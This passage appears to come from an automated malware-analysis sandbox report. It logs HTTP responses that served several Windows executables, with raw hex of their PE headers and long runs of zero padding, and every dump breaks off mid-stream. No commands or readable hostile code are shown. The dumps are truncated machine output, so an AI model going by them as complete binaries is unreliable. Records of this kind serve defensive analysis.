00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:51:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 15:51:06 GMTContent-Type: application/octet-streamContent-Length: 1929216Last-Modified: Wed, 20 Nov 2024 15:29:19 GMTConnection: keep-aliveETag: "673e004f-1d7000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 d5 1c 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 50 4c 00 10 00 00 00 00 00 00 